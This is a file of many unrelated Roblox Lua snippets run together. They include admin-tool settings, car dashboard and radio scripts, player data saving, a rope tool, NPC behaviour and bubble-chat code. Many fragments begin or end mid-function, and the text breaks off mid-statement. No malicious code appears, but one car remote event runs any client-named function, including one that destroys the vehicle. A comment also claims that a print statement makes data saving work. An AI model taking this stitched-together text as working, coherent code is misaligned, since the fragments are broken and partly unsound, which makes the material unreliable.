Prefix = ";"; -- The character you use before every command (e.g. ';jump me'). SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me'). BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me' QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3) Theme = "Blue"; -- The default UI theme. NoticeSoundId = 2865227271; -- The SoundId for notices. NoticeVolume = 0.1; -- The Volume for notices. NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices. ErrorSoundId = 2865228021; -- The SoundId for error notifications. ErrorVolume = 0.1; -- The Volume for error notifications. ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications. AlertSoundId = 9161622880; -- The SoundId for alerts. AlertVolume = 0.5; -- The Volume for alerts. AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts. WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge. CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable. SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable. LoopCommands = 3; -- The minimum rank required to use LoopCommands. MusicList = {}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio. ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value}; {"Red", Color3.fromRGB(150, 0, 0), }; {"Orange", Color3.fromRGB(150, 75, 0), }; {"Brown", Color3.fromRGB(120, 80, 30), }; {"Yellow", Color3.fromRGB(130, 120, 0), }; {"Green", Color3.fromRGB(0, 120, 0), }; {"Blue", Color3.fromRGB(0, 100, 150), }; {"Purple", Color3.fromRGB(100, 0, 150), }; {"Pink", Color3.fromRGB(150, 0, 100), }; {"Black", Color3.fromRGB(60, 60, 60), }; }; Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value}; {"r", "Red", Color3.fromRGB(255, 0, 0) }; {"o", "Orange", Color3.fromRGB(250, 100, 0) }; {"y", "Yellow", Color3.fromRGB(255, 255, 0) }; {"g", "Green" , Color3.fromRGB(0, 255, 0) }; {"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) }; {"b", "Blue", Color3.fromRGB(0, 255, 255) }; {"db", "DarkBlue", Color3.fromRGB(0, 50, 255) }; {"p", "Purple", Color3.fromRGB(150, 0, 255) }; {"pk", "Pink", Color3.fromRGB(255, 85, 185) }; {"bk", "Black", Color3.fromRGB(0, 0, 0) }; {"w", "White", Color3.fromRGB(255, 255, 255) }; }; ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow. [5] = "Yellow"; }; Cmdbar = 1; -- The minimum rank required to use the Cmdbar. Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2. ViewBanland = 3; -- The minimum rank required to view the banland. OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page. RankRequiredToViewPage = { -- || The pages on the main menu || ["Commands"] = 0; ["Admin"] = 0; ["Settings"] = 0; }; RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin || ["Owner"] = 0; ["HeadAdmin"] = 0; ["Admin"] = 0; ["Mod"] = 0; ["VIP"] = 0; }; RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin || ["Owner"] = 0; ["SpecificUsers"] = 5; ["Gamepasses"] = 0; ["Assets"] = 0; ["Groups"] = 0; ["Friends"] = 0; ["FreeAdmin"] = 0; ["VipServerOwner"] = 0; }; RankRequiredToViewIcon = 0; WelcomeRankNotice = true; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable. WelcomeDonorNotice = true; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable. WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!" DisableAllNotices = false; -- Set to true to disable all HD Admin notices. ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked. IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit' CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit. ["fly"] = { Limit = 10000; IgnoreLimit = 3; }; ["fly2"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip2"] = { Limit = 10000; IgnoreLimit = 3; }; ["speed"] = { Limit = 10000; IgnoreLimit = 3; }; ["jumpPower"] = { Limit = 10000; IgnoreLimit = 3; }; }; CommandLimitPerMinute = 60; -- Command limit per admin per minute IgnoreCommandLimitPerMinute = 4; -- Rank requires to ignore limit VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers. GearBlacklist = {67798397, 1055299}; -- The IDs of gear items to block when using the ;gear command. IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist. PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData. SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData. CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices] --NoticeName = NoticeDetails; }; ChatVoiceAutoEnabled = false; ChatVoiceRequiredRank = 0;
-- Called when the client receives a new look-angle -- value from the server. This is also called continuously -- on the client to update the player's view with no latency.
function CharacterRealism:OnLookReceive(player, pitch, yaw) local character = player.Character local rotator = self.Rotators[character] if rotator then rotator.Pitch.Goal = pitch rotator.Yaw.Goal = yaw end end
-- script.Parent.Parent.Body.Dash.Screen.G.Radio.Select.Position = UDim2.new(0, 0, 0, 60)
end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then game.Workspace.CurrentCamera.FieldOfView = 70 player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("SS3") then player.PlayerGui:FindFirstChild("SS3"):Destroy() script.Parent.Parent.Body.Dash.Screen.G.Enabled = false script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = true script.Parent.Parent.Body.Dash.DashSc.G.Select:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true) script.Parent.Parent.Body.Dash.DashSc.G.Frame:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true) script.Parent.Parent.Body.Dash.DashSc.G.Modes.SpeedStats.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Modes.Info.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Modes.MPG.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Modes.Stats.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Unit.Text = "Goodbye" script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.1 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.2 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.3 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.4 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.5 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.6 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.7 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.8 script.Parent.Parent.Body.Dash.Spd.G.LightInfluence = .5 script.Parent.Parent.Body.Dash.Tac.G.LightInfluence = .5 script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.3 script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.3 script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.3 script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.3 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.9 script.Parent.Parent.Body.Dash.Spd.G.LightInfluence = 1 script.Parent.Parent.Body.Dash.Tac.G.LightInfluence = 1 script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.7 script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.7 script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.7 script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.7 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 1 script.Parent.Parent.Body.Dash.Spd.G.LightInfluence = 1.8 script.Parent.Parent.Body.Dash.Tac.G.LightInfluence = 1.8 script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 1 script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 1 script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 1 script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 1 wait(.4) script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false script.Parent.Occupied.Value = false end end end end)
-- Function to save player's data
local function savePlayerData(playerUserId) if sessionData[playerUserId] then local success,data = pcall(function() --NOTE!!! adding this print adds save if remove then save is lost print("Money --> before SetAsync ",sessionData[playerUserId]["Money"]) playerData:SetAsync(playerUserId, sessionData[playerUserId]) print("Money --> After SetAsync ",sessionData[playerUserId]["Money"]) wait() end) if not success then warn("Cannot save data for player!-------------------------------------->") warn("----------------------savePlayerData----------------------------------------------") warn("What is the reason ",data) end end end function PlayerStatManager:getPlayerData(player) local playerUserId = "Player_" .. player.UserId local succes,data = pcall(function() print("Got player data---------------------->") return sessionData[playerUserId] end) if succes == false then warn("ERROR---------PlayerStatManager:getPlayerData----------->") print(data) return nil else return data end end function PlayerStatManager:getStat(player,statName) local succes,data = pcall(function() local playerUserId = "Player_" .. player.UserId return sessionData[playerUserId][statName] end) if succes == false then warn("ERROR---------PlayerStatManager:getStat----------->") print(data) return nil else return data end end function PlayerStatManager:saveStat(player,statName,value) local succes,err = pcall(function() local playerUserId = "Player_" .. player.UserId sessionData[playerUserId][statName] = value end) if succes == false then warn("ERROR---------PlayerStatManager:saveStat----------->") print(err) end end function PlayerStatManager:getStatInTycoonPurchases(player,statName) local succes,data = pcall(function() local playerUserId = "Player_" .. player.UserId return sessionData[playerUserId]["TycoonPurchases"][statName] end) if succes == false then warn("ERROR---------PlayerStatManager:getTycoonPurchases----------->") print(data) return nil else return data end end function PlayerStatManager:setPlayerSessionDataToNil(player) if player ~= nil then local playerUserId = "Player_" .. player.UserId if sessionData[playerUserId] then sessionData[playerUserId] = nil end end end
-- removes a BezierPoint from the Bezier
function Bezier:RemoveBezierPoint(index: number) -- check if the point exists if self.Points[index] then -- remove point and remove connections local point = table.remove(self.Points, index) if typeof(point.Point) == "Instance" and point.Point:IsA("BasePart") then for i, connection in pairs(self._connections[point.Point]) do if connection.Connected then connection:Disconnect() end end self._connections[point.Point] = nil end -- update bezier self:UpdateLength() end end
-- Variables
local footstepModule = require(replicatedStorage:WaitForChild("FootstepModule")) local RunService = game:GetService("RunService") local player = players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:WaitForChild("Humanoid") local rootPart = character:WaitForChild("HumanoidRootPart")
-- Removing an arc from the running system
function System.remove(arc) if arcInstances[arc] then arcInstances[arc] = nil dynamicInstances[arc] = nil numInstances = numInstances - 1 arc.segmentsFolder.Parent = nil arc.part.Parent = nil updateConnection() end end return System
--F.updateSound = function(Sound, Pitch, Volume) -- if Sound then -- if Pitch then -- Sound.Pitch = Pitch -- end -- if Volume then -- Sound.Volume = Volume -- end -- end --end
F.updateWindows = function(Window, Toggle) if script.Parent.Parent.Windows:findFirstChild(Window) then script.Parent.Parent.Windows:findFirstChild(Window).Value = Toggle end end F.volumedown = function(VolDown) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume - 1 end F.volumeup = function(VolUp) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1 end F.fm = function(ok) carSeat.Parent.Body.MP.Sound:Stop() carSeat.Stations.mood.Value = ok end F.updateSong = function(id) carSeat.Stations.mood.Value = 5 carSeat.Parent.Body.MP.Sound:Stop() wait() carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..id wait() carSeat.Parent.Body.MP.Sound:Play() end F.pauseSong = function() carSeat.Stations.mood.Value = 5 carSeat.Parent.Body.MP.Sound:Stop() end F.updateVolume = function(Vol) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol/5 end F.updateValue = function(Val, Value) if Val then Val.Value = Value end end F.FEInfo = function() carSeat.Parent.Body.Dash.Screen.G.Enabled = true wait(.1) carSeat.Parent.Body.Dash.Screen.G.FE.Visible = true end F.delete = function(plr) workspace[plr]:FindFirstChildOfClass("Humanoid").Jump = true wait(1) carSeat.Parent:Destroy() end F.PM = function(m,p) carSeat.Mode.Value = m carSeat.PMult.Value = p end F.reverse = function(yes) carSeat.Parent.Misc.TK.RV.Material = yes and "Neon" or "SmoothPlastic" end F.Dyn = function(h) carSeat.Parent.Wheels.FL.Spring.FreeLength = h carSeat.Parent.Wheels.FR.Spring.FreeLength = h carSeat.Parent.Wheels.RL.Spring.FreeLength = h carSeat.Parent.Wheels.RR.Spring.FreeLength = h end script.Parent.OnServerEvent:connect(function(Player, Func, ...) if F[Func] then F[Func](...) end end)
--///////////////////////// Constructors --//////////////////////////////////////
function module.new(vChatService, name) local obj = setmetatable({}, methods) obj.ChatService = vChatService obj.PlayerObj = nil obj.Name = name obj.ExtraData = {} obj.Channels = {} obj.MutedSpeakers = {} obj.EventFolder = nil return obj end return module
--// # key, ManOn
mouse.KeyDown:connect(function(key) if key=="h" then veh.Lightbar.middle.Man:Play() veh.Lightbar.middle.Wail.Volume = 0 veh.Lightbar.middle.Yelp.Volume = 0 veh.Lightbar.middle.Priority.Volume = 0 script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110) veh.Lightbar.MANUAL.Transparency = 0 end end)
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(-1,-.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) end end)
--Runtime Loop
while wait() do for i,v in pairs(Wheels) do --Vars local speed = car.DriveSeat.Velocity.Magnitude local wheel = v.wheel.RotVelocity.Magnitude local z = 0 local deg = 0.000126 --Tire Wear local cspeed = (speed/1.298)*(2.6/v.wheel.Size.Y) local wdif = math.abs(wheel-cspeed) if _WHEELTUNE.TireWearOn then if speed < 4 then --Wear Regen v.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed/10000,v.BaseHeat) else --Tire Wear if wdif > 1 then v.Heat = v.Heat - wdif*deg*v.WearSpeed/28 elseif v.Heat >= v.BaseHeat then v.Heat = v.BaseHeat end end end --Apply Friction if v.wheel.Name == "FL" or v.wheel.Name == "FR" or v.wheel.Name == "F" then z = _WHEELTUNE.FMinFriction+v.Heat deg = ((deg - 0.0001188*cValues.Brake.Value)*(1-math.abs(cValues.SteerC.Value))) + 0.00000126*math.abs(cValues.SteerC.Value) else z = _WHEELTUNE.RMinFriction+v.Heat end --Tire Slip if math.ceil((wheel/0.774/speed)*100) < 8 then --Lock Slip v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelLockRatio,v.elast,v.fWeight,v.eWeight) v.Heat = math.max(v.Heat,0) elseif (_Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil((wheel/0.774/speed)*100) > 80) then --TCS Off v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.TCSOffRatio,v.elast,v.fWeight,v.eWeight) v.Heat = math.max(v.Heat,0) elseif math.ceil((wheel/0.774/speed)*100) > 130 then --Wheelspin v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelspinRatio,v.elast,v.fWeight,v.eWeight) v.Heat = math.max(v.Heat,0) else --No Slip v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z,v.elast,v.fWeight,v.eWeight) v.Heat = math.min(v.Heat,v.BaseHeat) end --Update UI local vstress = math.abs(((((wdif+cspeed)/0.774)*0.774)-cspeed)/15) if vstress > 0.05 and vstress > v.stress then v.stress = math.min(v.stress + 0.03,1) else v.stress = math.max(v.stress - 0.03,vstress) end script.Parent:WaitForChild("Tires") local UI = script.Parent.Tires[v.wheel.Name] UI.First.Second.Image.ImageColor3 = Color3.new(math.min((v.stress*2),1), 1-v.stress, 0) UI.First.Position = UDim2.new(0,0,1-v.Heat/v.BaseHeat,0) UI.First.Second.Position = UDim2.new(0,0,v.Heat/v.BaseHeat,0) end end
------//Sprinting Animations
self.RightSprint = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0)); self.LeftSprint = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25)); return self
--------RIGHT DOOR --------
game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf local aFinderButton = dockShelf.GClippsly local opened = aFinderButton.Opened local Minimalise = script.Parent local window = script.Parent.Parent.Parent
--[[Super Util]]
-- function WaitForChild(parent,child) while not parent:FindFirstChild(child) do wait(1/30) end return parent[child] end function MakeValue(class,name,value,parent) local temp = Instance.new(class) temp.Name = name temp.Value = value temp.Parent = parent return temp end function TweenProperty(obj, propName, inita, enda, length) local startTime = tick() while startTime - tick()<length do obj[propName] = (startTime - tick())/length wait(1/30) end obj[propName] = enda end
--!nocheck
local Players = game.Players local RunService = game["Run Service"] local FootstepsSoundGroup = game.SoundService:WaitForChild("Footsteps") local SOUND_DATA = { Climbing = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, }, Died = { SoundId = "rbxasset://sounds/uuhhh.mp3", }, FreeFalling = { SoundId = "rbxasset://sounds/action_falling.mp3", Looped = true, }, GettingUp = { SoundId = "rbxasset://sounds/action_get_up.mp3", }, Jumping = { SoundId = "rbxasset://sounds/action_jump.mp3", }, Landing = { SoundId = "rbxasset://sounds/action_jump_land.mp3", }, Running = { SoundId = '' , Looped = true, Playing = true, Pitch = 1, }, Splash = { SoundId = "rbxasset://sounds/impact_water.mp3", }, Swimming = { SoundId = "rbxasset://sounds/action_swim.mp3", Looped = true, Pitch = 1.6, }, } -- wait for the first of the passed signals to fire local function waitForFirst(...: any): ...any local shunt = Instance.new("BindableEvent") local slots = {...} local function fire(...) for i = 1, #slots do slots[i]:Disconnect() end task.defer(function() shunt:Destroy() end) return shunt:Fire(...) end for i = 1, #slots do slots[i] = slots[i]:Connect(fire) end return shunt.Event:Wait() end
-- Public Constructors
function SliderClass.new(sliderFrame, axis) local self = setmetatable({}, SliderClass) self._Maid = Lazy.Utilities.Maid.new() self._Spring = Lazy.Utilities.Spring.new(1, 0.1, 1, 0) self._Axis = axis or "x" self._ChangedBind = Instance.new("BindableEvent") self._ClickedBind = Instance.new("BindableEvent") self.Interval = 0 self.IsActive = true self.TweenClick = true self.Inverted = false self.Frame = sliderFrame self.Changed = self._ChangedBind.Event self.Clicked = self._ClickedBind.Event self.DragStart = nil self.DragStop = nil init(self) self:Set(0.5) return self end
--this script is gonna make hes parent visible only for mobile users
script.Parent.Visible = false -- makes hes parent invisible for pc players
--K9Model = script.Parent ----script.Parent.Parent = game.Workspace --K9Model:MoveTo(game.Workspace.SinikalLaw.Torso.Position) --Path = script:WaitForChild("Pathfinder"):Clone() --Path.Parent = game.ServerScriptService
--[[ Start the game loop ]]
gameStageHandler:start()
--[[ Sc 2 ]]
-- while true do wait(0.1) local Ran1 = math.random(1,10) if Ran1 == 1 then Light.Color = Color3.fromRGB(255,0,0) wait(math.random(1,100)/100) Light.Color = Color3.fromRGB(0,255,0) end end
--// Event Connections
placeEvent.OnServerEvent:connect(function(plr,newPos,what) local char = plr.Character if not newRope then new = Instance.new('Part') new.Parent = workspace new.Anchored = true new.CanCollide = false new.Size = Vector3.new(0.2,0.2,0.2) new.BrickColor = BrickColor.new('Black') new.Material = Enum.Material.Metal new.Position = newPos + Vector3.new(0,new.Size.Y/2,0) local newW = Instance.new('WeldConstraint') newW.Parent = new newW.Part0 = new newW.Part1 = what new.Anchored = false newAtt0 = Instance.new('Attachment') newAtt0.Parent = char.Torso newAtt0.Position = Vector3.new(0,-.75,0) newAtt1 = Instance.new('Attachment') newAtt1.Parent = new newRope = Instance.new('RopeConstraint') newRope.Attachment0 = newAtt0 newRope.Attachment1 = newAtt1 newRope.Parent = char.Torso newRope.Length = 20 newRope.Restitution = 0.3 newRope.Visible = true newRope.Thickness = 0.1 newRope.Color = BrickColor.new("Black") placeEvent:FireClient(plr,new) end end) ropeEvent.OnServerEvent:connect(function(plr,dir,held) if newRope then newDir = dir isHeld = held end end) cutEvent.OnServerEvent:connect(function(plr) if newRope then newRope:Destroy() newRope = nil new:Destroy() newAtt0:Destroy() newAtt1:Destroy() end end)
-- functions
local function TrackPlayer(player, color) local character = player.Character local humanoid = character:WaitForChild("Humanoid") local armor = humanoid:WaitForChild("Armor") local down = humanoid:WaitForChild("Down") local frame = script.SquadFrame:Clone() frame.NameLabel.Text = player.Name frame.NameLabel.TextColor3 = color frame.Parent = SQUAD_GUI local function Update() frame.Bars.Health.Size = UDim2.new(humanoid.Health / humanoid.MaxHealth, 0, 0.6, -1) frame.Bars.Armor.Size = UDim2.new(armor.Value / 150, 0, 0.4, -1) frame.Bars.Health.BackgroundColor3 = down.Value and DOWN_COLOR or HEALTH_COLOR frame.DownLabel.Visible = down.Value end humanoid.HealthChanged:connect(Update) armor.Changed:connect(Update) down.Changed:connect(function() if down.Value then script.DownSound:Play() end Update() end) Update() end script.TrackPlayer.Event:connect(TrackPlayer)
--[Script]--
StunsValue.Changed:Connect(function() if StunsValue.Value >= 30 then -- change this to the amount of stuns it takes to trigger BloodHour workspace.BHStart:Play(); script.Parent.BHAnimation.Disabled = false; StunsValue.Value = 0; BHValue.Value = true; script.Parent.Head.Eye1.Color = Color3.fromRGB(255, 0, 0); script.Parent.Head.Eye2.Color = Color3.fromRGB(255, 0, 0); script.Parent.Configuration.WalkSpeed.Value = 0 script.Parent.Configuration.RunSpeed.Value = 0 script.Parent.Configuration.Damage.Value = 10000 script.Disabled = true wait(34) BHText.Value = 2 workspace.BHChase:Play() wait(2) script.Parent.Head.Screaming:Play() script.Parent.Configuration.WalkSpeed.Value = 22 script.Parent.Configuration.RunSpeed.Value = 55 script.Parent.Configuration.Damage.Value = 90 wait(50) --End BloodHour change to what you want workspace.BHChase:Stop() game.Lighting.BHColor.Enabled = false game.Lighting.Ambient = Color3.fromRGB(255, 255, 255) game.Lighting.FogColor = Color3.fromRGB(255, 255, 255) script.Parent.BHAnimation.Disabled = true; BHValue.Value = false; BHEndValue.Value = false; BHText.Value = 0 Stunning.Value = false StunsValue.Value = 0 game.Workspace.BHChase:Stop() script.Parent.Head.Screaming:Stop() script.Parent.Configuration.WalkSpeed.Value = 12; script.Parent.Configuration.RunSpeed.Value = 25; script.Parent.Configuration.Damage.Value = 30; script.Parent.Head.Eye1.Color = Color3.fromRGB(255, 255, 255); -- eye color -- script.Parent.Head.Eye2.Color = Color3.fromRGB(255, 255, 255); -- eye color -- script.Disabled = false; end end)
-- if (not axis or axis == "x") then -- slider = SliderClass.new(SLIDER_FRAMEX:Clone(), axis) -- else -- slider = SliderClass.new(SLIDER_FRAMEY:Clone(), axis) -- slider.Inverted = true -- end
--[[Handlebars]]
-- Tune.SteerAngle = 20 -- Handlebar angle at max lock (in degrees) Tune.MSteerExp = 1 -- Mouse steering exponential degree Tune.LowSpeedCut = 60 -- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cutoff will be 40/50, or if your full lock is 40 your cutoff will be 20/30) Tune.SteerD = 50 -- Dampening of the Low speed steering Tune.SteerMaxTorque = 4000 -- Force of the the Low speed steering Tune.SteerP = 500 -- Aggressiveness of the the Low speed steering
--Right.InputChanged:Connect(RightTurn)
local function TouchThrottle(input, GPE) if input.UserInputState == Enum.UserInputState.Begin and _IsOn then _InThrot = 1 else _InThrot = _Tune.IdleThrottle/100 end end Gas.InputBegan:Connect(TouchThrottle) Gas.InputEnded:Connect(TouchThrottle)
--[[ Create a copy of a list where each value is transformed by `callback` ]]
function Functional.Map(list, callback) local new = {} for key = 1, #list do new[key] = callback(list[key], key) end return new end
-- init chat bubble tables
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect) this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect) this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect) this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect) end initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15)) initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33)) function this:SanitizeChatLine(msg) if string.len(msg) > MaxChatMessageLengthExclusive then return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES)) else return msg end end local function createBillboardInstance(adornee) local billboardGui = Instance.new("BillboardGui") billboardGui.Adornee = adornee billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, 1.5, 2) billboardGui.Parent = BubbleChatScreenGui local billboardFrame = Instance.new("Frame") billboardFrame.Name = "BillboardFrame" billboardFrame.Size = UDim2.new(1,0,1,0) billboardFrame.Position = UDim2.new(0,0,-0.5,0) billboardFrame.BackgroundTransparency = 1 billboardFrame.Parent = billboardGui local billboardChildRemovedCon = nil billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function() if #billboardFrame:GetChildren() <= 1 then billboardChildRemovedCon:disconnect() billboardGui:Destroy() end end) this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame return billboardGui end function this:CreateBillboardGuiHelper(instance, onlyCharacter) if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then if not onlyCharacter then if instance:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(instance) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui return end end if instance:IsA("Model") then local head = instance:FindFirstChild("Head") if head and head:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(head) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui end end end end local function distanceToBubbleOrigin(origin) if not origin then return 100000 end return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude end local function isPartOfLocalPlayer(adornee) if adornee and PlayersService.LocalPlayer.Character then return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character) end end function this:SetBillboardLODNear(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0) billboardGui.Enabled = true local billChildren = 